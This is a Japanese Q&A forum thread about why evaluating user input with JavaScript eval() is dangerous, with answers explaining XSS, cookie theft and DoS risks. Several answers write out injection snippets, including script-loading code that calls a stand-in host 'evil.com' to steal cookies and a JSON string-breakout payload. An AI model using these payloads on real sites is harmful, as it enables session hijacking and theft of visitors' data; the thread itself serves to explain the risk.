dポイントプレゼントキャンペーン実施中!

javascriptのeval()の危険性についての質問です。
下のようなページを公開したとして
<html>
<script>
function execstr(str){eval("(" + str + ")");}
</script>
<body>
<form action="#">
<input type="text" id="code">
<input type="button" onclick="javascript:execstr(this.form.code.value);" />
</form>
</body>
</html>

「ユーザーが入力したテキストをそのままeval()で評価実行するのは、悪意のあるコードがそのまま実行されてしまうので危険である」とされています。この危険な悪意のあるコードが、どんな危険性をもつのかが具体的にイメージが掴めないのです。

javascriptはクライアント側のブラウザーで実行されているものであり、そもそもローカルなリソースにはアクセス出来ないし、ましてサーバー側に影響を及ぼすようなjavascriptとはどんなものなのでしょうか?
クッキーを盗むといっても、本人のクッキーを盗んでも仕方ないし、他人のクッキーはみれないでしょう。XMLHttpRequestで他のサイトにポストするコードを実行されても、サーバー側で困る事はないと思うのですが。

A 回答 (8件)

おそらくPerlなど、CGIで使用する言語のevalと混同されていると思います。


私が知る限りeval()による危険性は1点を除きありません。
が、この危険性も、まともなコード(通常の動作が行えるコード)であれば勝手にセキュリティーホールも埋まる物です。
(それ以外にもいくつか考えられますが、現実的でない、または悪意(悪戯)を持ってeval()を使用しているという可能性の方が高い)

たとえば、このページで、 http://okwave.jp/qa4957775.html
ブラウザのアドレス欄に下記を入力してエンターキー/リターンキーを押すだけで、
テキストフィールドに入力したコードを、利用者が自由にeval()する事が出来ます。
自分でテキストフィールドに書いたスクリプトを自分で実行するだけなら、わざわざ制作者がeval()を用意する必要はありません。

javascript:(function(){scrollTo(0,0); var ipt=document.getElementsByName('kw')[0]; ipt.value='alert("hello");'; eval(ipt.value);})()


これは'alert("hello")'という文章を書いていますが、悪意のあるコードを書けばそれが実行されます。
とはいえ、サイト管理者しかページを更新できないなら、わざわざeval()を使わなくても、
HTMLファイルに<script>を書いてFTPでアップロードした方が手っ取り早いです。

サイト管理者以外の人がページを更新できる=BBSやブログのコメントの事ですが、
<script>タグを投稿できるかどうかというのと、eval()は関係ありません。
その<script>の中にeval()が使われていなくても、XSSコードやエクスプロイトコードは実行されます。

No.2でおっしゃってる事だと思いますが、
eval(document.getElementById('user-message').innerText);
などとしていれば、危険性が出るかもしれません。
が、こんなコード、誰も作らないでしょう。
(.innerHTMLにはHTMLタグが含まれるため、eval()で実行できません。
なお、Firefoxなどでは.innerTextではなく.textContentです。)


で、最初に書いた危険性の1つですが、
BBSなどの投稿文をAjaxやJSONPで受信している場合。

「こんにちは」というメッセージを投稿した人がいたとして、

////// XMLHttpRequest.responseText
postData={name: 'user', date: '2009-5-14', message: 'こんにちは'}

これをeval(responseText)して
document.getElementById('name').innerHTML=postData.name;
document.getElementById('date').innerHTML=postData.date;
document.getElementById('message').innerHTML=postData.message;
などとして表示している場合、

「'+(function(){XSSやエクスプロイトコード})()+'」

というメッセージを投稿した場合、(シングルクォーテーションと+記号が前後についている)
JSONデータが以下のようになりますので、

////// responseText
postData={name: 'user', date: '2009-5-14', message: ''+(function(){XSSコード})()+''}

このときにeval(responseText)によってJavaScriptが実行されます。

JSONPなら、

callback({name: 'user', date: '2009-5-14', message: ''+(function(){XSSコード})()+''});

こんな感じで受信したときに実行されます。
JSONPはeval()不要です。

XMLで受信して、
eval(responseXML.getElementsByTagName('post').nodeValue);
としてもJavaScriptは実行できます。
が、これらをわざわざeval()する人はいないと思うので、ほとんど問題にはならないでしょう。


これらのセキュリティーホールは、エスケープ処理で防げます。
BBSでは通常、<や>の記号を&lt;や&gt;に変換すると思いますが、
一緒に'をや\'に、"を&quot;に変換しておけば問題ないと思います。

postData={name: 'user', date: '2009-5-14', post: '+(function(){XSSコード})()+'}

SQLインジェクションの応用ですが、私が確認してるのはこれだけです。
(SQLインジェクションもダブルクォーテーションのエスケープ忘れによる物です)

ただ、普通に 「It's Fine!」 を投稿した場合、
postData={ post: 'It's Fine!' }
スクリプトエラーになって受信できなくなるので、通常はエスケープ処理するはずですし、
よほど手抜きをしなければ、この件のeval()による危険性はないと思いますが、
文字列をダブルクォーテーションで囲まれている場合、このバグに気づきにくいかもしれません。
(ダブルクォーテーションを1つだけ使った投稿をする事が少ないため。)

例)Hello!" を投稿(受信できないが、こういう投稿をする人が少ない)
postData={ post: "Hello!"" }
例)"+XSSコード+" を投稿(受信、実行される)
postData={ post: ""+XSSコード+""" }


> この危険な悪意のあるコードが、どんな危険性をもつのかが具体的にイメージが掴めないのです。
ウイルス性の物については「エクスプロイトコード」で検索してみて下さい。

> クッキーを盗むといっても、本人のクッキーを盗んでも仕方ないし、他人のクッキーはみれないでしょう。
XSS(主にクッキー取得コード)は、SNSや通販サイトのプロフィール・商品送付先・請求先住所などの取得を狙うのが普通ですね。
個人のBBSではXSSよりも、ウイルス関連のコードが埋められる可能性が高いです。

この回答への補足

 javascriptで投稿内容を事前にeval()しても、そのページ自体を書き換えられる危険性はなさそうですね。要はPOSTされたコードを受け取るサーバー側のプログラムがしっかり対策すればよさそうですね。
 まさに、ここ「教えて!GOO」のページではいろんなスクリプトコードやHTMLのコードまで投稿されてますが坂内に安全に表示されてますね(HTMLは時々バグってるみたい)。

作ろうと思ったページは、javascriptのソースを投稿してもらい、投稿したjavascriptのコードを送信する前に、そのページで、evalを使って事前にプレビュー実行も可能(無理なコードがあるのも分かってます)とさせ、登録ボタンを押すとサーバー側のphpに送信します。
サーバー側のPHPはPOSTされたコードを、$_POSTからローカル変数に格納する際にエスケープして受け取りaddslashes()してテキストデータとして保存します。掲示版の内容は保存されたテキストデータより<xml>を作成します。投稿されたスクリプトを取り出し加工して、
<description>
<![CDATA[
スクリプトの内容
]]>
</description>
として出力します。
掲示板のページは、ロード時、リロード時にサーバーに掲示板内容のXMLを
ajaxで取りにいって、javascriptでパースしdom関数で編集して、<iframe>
の中に表示させます。--といった掲示板を考えたのです。
回答番号:No.2さん指摘のDos攻撃のリスクはeval()つかって無くてもありえる話しなのでjavascriptのeval()の問題点とはいえないかも知れません。

補足日時:2009/05/15 19:23
    • good
    • 0
この回答へのお礼

詳細な解説ありがとうございました。
じっくり内容を理解してみます。
 考えてばかりいても、楽しくないので、まずはPCのxampで公開せずに作っていろいろ試してみようと思います。

お礼日時:2009/05/15 20:13

> No.7


こちらこそ、うだうだとすみません。

私が知らないだけで、eval()の危険性はあるかもしれません。
サイト管理者しか投稿・更新できないのであれば、サイト管理者が悪意のあるコードを投稿しなければ済むだけですが。

セキュリティー関係のサイトを見ていると、考えられないような(実行して下さいと言わんばかりの)コードを紹介していたりしますし、
実際に、<iframe>タグを投稿できるサイトもありましたから、
ともすれば、前の人の投稿内容が、記入欄に残っているようなサイトもあるかもしれません。
(投稿確認->戻る(投稿内容が記入済み)->ブラウザ終了->他の人が表示。で、前の投稿が残ってるとか?)
そうなれば、No.4に書かれたようなスクリプトを制作者が用意しておくだけでも、十分危険だと思います。

NO.6 最後のコード
これでもよさそう。(NO.4と同じになります)
当然悪意のあるコードが投稿されれば、それが実行されます。
<script>タグの投稿許可でも同じですが、
セキュリティーチェック(安全なコードかどうかの確認)もなしに投稿・実行を許可しているのであれば、危険な事は容易に推測できるはずですし、やはり狙ってるとしか思えないですね。

--------------------
<script>
function run(id){
eval(document.getElementById(id).innerText || document.getElementById(id).textContent);
}
</script>

<pre><tt id="post1">
ユーザーが投稿したスクリプト
</tt></pre>
<a onclick="run('post1');">実行</a>
--------------------


> XMLHttpRequestで他のサイトにポストするコードを実行されても、サーバー側で困る事はないと思うのですが。
言い忘れてましたが、JavaScriptそのものが影響する事はありません。
<script>onload=location.reload();</script>
でもやられたらともかく、
通常はウイルスの感染を狙いそのウイルスがサーバーを狙うので、むしろ多くのスクリプトがサーバーに影響する可能性があります。
    • good
    • 0
この回答へのお礼

talooさんありがとうございました。いろいろありそうなので、
当面、eval()するページと投稿するページは
まったくつながりの無いページとする事にします。
なにしろ、サーバーはレンタルしているので迂闊なページはつくれません。
ローカルでいろいろ試します。
ご意見、ご指導が、たくさんありそうなので、この質問は
クローズとします。
 疑問点がでたらまた投稿します。

お礼日時:2009/05/18 11:50

No.4です。



> No.5
丁寧な指摘有り難うございます。
仰ることはよくわかります。私が No.3 の補足をしっかりと読まなかったためにいろいろな部分で誤解していました。
もう少し注意深く読む必要があると反省しています。

> *例として出されているURLは実存するため、そういう所は使わない方が良いと思います。
確かに。今後気をつけたいと思います。

親切にありがとうございました。
    • good
    • 0

> No.4


> コードが掲示板のDBに登録されると、訪問者全員がこのコードを実行することになります。

アクセス時のコメント記入欄は真っ白なはずなので、その状態では、
eval(document.getElementById('コメント記入欄のID').value);
を実行しても、何も起こりません。

HTMLタグ(<script>タグと<textarea>タグ)を投稿できるなら
<script>eval(document.getElementById('test').value);</script>
の一文と<textarea>タグを投稿する事で、テキストエリアの内容を実行することが可能ですが、
その場合はeval()が問題なのではなく、<script>タグを投稿できる事が問題です。

<script>タグを投稿できるなら、<textarea>もeval()を使う必要はありません。

<script type='text/javascript'>
var s = document.createElement("script");
s.type = "text/javascript";
s.src = "http://example.com/evil.js";
document.getElementsByTagName("head")[0].appendChild(s);
</script>

これを投稿すればいいだけです。

<と>を&lt;、&gt;に変換してあれば、
&lt;script&gt;eval(document.getElementById('test').value);&lt;/script&gt;
を投稿した事になりますから、eval()は実行できません。


> No.3
> 投稿したjavascriptのコードを送信する前に、そのページで、evalを使って事前にプレビュー実行も可能(無理なコードがあるのも分かってます)とさせ、登録ボタンを押すとサーバー側のphpに送信します。

> No.2
> ソースコードをPOSTされても受け取るPHPがエスケープした上で、記事として掲載するので、javascript側でevalしても投稿者以外はXSSされないと思います。
とのことで、お節介だと思いますが、

投稿時に1回実行できますが、悪意のあるコードを書いても、おっしゃるとおり単に自爆するだけですね。
他の人が表示したときは<textarea>の内容はクリアされているはずですから、他人のコードは実行出来ません。
という理由のため、eval()を使っても安全(他人に危害を加える事はない)と言えると思います。



要らぬお節介ついでに
他人が書いたコードをeval()できるシステムにするなら、それなりの処理は必要でしょう。
これは<script>タグを投稿できるのと同じです。
(evalの問題ではなく、「他人が投稿したコードを実行できるシステム」という設計が危険です)

私なら、別ページを用意して、<script>の中に直接書いてみます。

--------------------
<pre><tt>
ユーザーが投稿したスクリプトを実態参照に変換した物
</tt></pre>
<a href="1.html" target="iframe">このユーザーが投稿したスクリプトを試してみる</a>

1.htmlの内容
<body>
<script>
ユーザーが投稿したスクリプト
</script>
</body>
--------------------


eval()を使う場合はこんな感じでしょうか。

--------------------
<script>
function run(s){
eval(s);
}
</script>

<pre><tt>
ユーザーが投稿したスクリプトを実態参照に変換した物
</tt></pre>
<script>
var str1='ユーザーが投稿したスクリプト'; // 'を\/にエスケープするなどした物、面倒ならtextarea.valueでも可
</script>
<a onclick="run(str1);>このユーザーが投稿したスクリプトを試してみる</a>
--------------------


簡単な対策は、たとえばスクリプトの中では'://'という文字列を禁止にすると、
絶対パス・相対URL(同一ドメイン内)しかアクセスできなくなります。
*geocitiesやSNSなどのドメイン共用サイトでは使えません。
*string.replace('/://g') => コロンを削除する正規表現などが投稿できなくなります。
*c=':',s='/';src='http'+c+s+s+・・・や、ASCIIコードなどから文字列を生成していると投稿できます。


*例として出されているURLは実存するため、そういう所は使わない方が良いと思います。
    • good
    • 0

#4です。


#3の補足を改めて読み直しました。

作ろうとされているページの実装は問題ないと思いますので、#4は聞き流してください。
失礼しました。
    • good
    • 0

#2です。



> ページ自体がサーバー上にあるため、ページに流し込むコードの作成は不可能だと思います。
JavaScriptでコンテンツを流し込むということなのですが、ひょっとして前提が違うのでしょうか?
私が考えていた前提条件は「投稿者がポストしたコメントの内容を無条件に eval() する」というものです。
<textarea id='test'> の内容が eval() されると仮定すると、下記コードでscript要素を流し込めます。

<textarea id='test'>
var s = document.createElement("script");
s.type = "text/javascript";
s.src = "http://evil.com/evil.js";
document.getElementsByTagName("head")[0].appendChild(s);
</textarea>
<script type='text/javascript'>
eval(document.getElementById('test').value);
</script>

コードが掲示板のDBに登録されると、訪問者全員がこのコードを実行することになります。
JavaScriptからはCookieを取得できるので、取得したCookieをGETパラメータで渡すことも可能だと思います。

> 回答番号:No.2さん指摘のDos攻撃のリスクはeval()つかって無くてもありえる話しなのでjavascriptのeval()の問題点とはいえないかも知れません。
これが危険なのは不特定多数の訪問者からDOS攻撃をされることです。
攻撃者が一人ならIPアドレスでキックすればいいですが、evalで流し込まれると訪問者全員が(意図せず)DOS攻撃をします。
訪問者全てを拒否するわけにはいきませんから、DOS攻撃されうるコードは流し込めないように対策する必要があります。
    • good
    • 0

おそらく、XSSに似た問題だと思うのですが…。



1. 投稿内容を eval() する掲示板がある
2. 悪意ある投稿者が <script type="text/javascript" src="http://evil.com/evil.js?cookie=***"></script> をページに流し込むコードをポスト
3. 以降、そのページを訪れると evil.js が実行され、evil.com管理者にCookieを盗まれる
# オートコンプリートを使用していたら、ID,Passwordを盗まれるケースも…。

> ましてサーバー側に影響を及ぼすようなjavascriptとはどんなものなのでしょうか?
サーバ側とは「そのページを管理しているサーバ」のことでしょうか?
eval() で流し込まれたコードでF5アタックされるリスクが…ありますね。
(攻撃者自身がF5アタックするのではなく、そのページを訪れた第三者にF5アタックさせます。)

ただ、eval() を避ける理由は訪問者のリスクへの配慮の意味合いが大きいと思います。

この回答への補足

(eval() で流し込まれたコードでF5アタックされるリスク…ありますね。)
=>確かにそのページを管理しているサーバにDos攻撃される危険性がありますね。見落としてました。

Xss攻撃については
2. 悪意ある投稿者が <script type="text/javascript" src="​http://evil.com/evil.js?cookie=***"></script>​ をページに流し込むコードをポスト
=>ページ自体がサーバー上にあるため、ページに流し込むコードの作成は不可能だと思います。その掲示板のページはサーバー上にあるので、そのページ自体のソースの更新は不可能のはずです。ソースコードをPOSTされても受け取るPHPがエスケープした上で、記事として掲載するので、javascript側でevalしても投稿者以外はXSSされないと思います。

補足日時:2009/05/15 19:11
    • good
    • 0
この回答へのお礼

アドバイスありがとうございました

お礼日時:2009/05/15 20:15

まぁ、そのサンプルだったら、別に害はないだろう。



ただ、例えば不特定多数の人間が投稿できるような掲示板とかブログとかで、そうした甘い処理を書いてしまうと問題がある。例えば、JavaScriptで「クッキー情報を「http://○○/××.cgi?cookie=クッキー」みたいな形でURLに追加して別のサイトにジャンプするような処理を書いて投稿する。そのジャンプ先のサイトには、あらかじめ送られてきたクッキー情報を保存するような仕組みを用意しておく。

すると、そのページに誰かがアクセスすると、投稿したJavaScriptが画面に表示される際に実行され、アクセスした人間のクッキー情報を指定のサイトにジャンプして送りつけてしまう。そのサイトの人間は、すぐさま自分のブラウザのクッキー情報をそれにあわせて書き換えてアクセスすれば、盗まれた人間に成りすましてアクセスすることができる。これがクロスサイトスクリプティング(XSS)という攻撃。更に、SQLデータベースを利用しているような場合には、実行するSQL文を偽装する投稿を行い、すべてのIDやパスワードを表示させたりする攻撃もある。

というわけで、ただ単に画面に表示するというようなものであれば問題はないだろうが、送られた情報をどこかに保管し、表示したりするような処理になると、こうしたセキュリティの甘さは場合によって致命的になることがある、ということ。サーバーが壊れるとかいうことより、こうした攻撃で個人情報を盗めるという点が一番被害として大きい。例えば、オンラインバンクやオンラインショップにログインした人が投稿できる掲示板があったとして、そこでクッキー情報が盗まれたらどんなことになるか?と考えると恐ろしいことになる。

この回答への補足

解答ありがとうございます。
まだよくわかりません。頭がかたいもので....

例えば、私が不特定多数の人が書き込める掲示板のページを公開しているとします。掲示板の仕組みは、フォームよりテキストを入力してもらい、
サーバー側のPHPプログラムにPOSTして、サーバー側のプログラムが
POSTされたテキストを厳格ににエスケープしてDBに格納追記し、DBに格納されたテキストを出力している物とします。
この時、掲示板のページにサーバーにポストする以外に、入力されたテキストをそのままevalするコードが書いてあったとして、何故、投稿者以外の人の情報が盗まれるのですか?

補足日時:2009/05/14 14:25
    • good
    • 1

お探しのQ&Aが見つからない時は、教えて!gooで質問しましょう!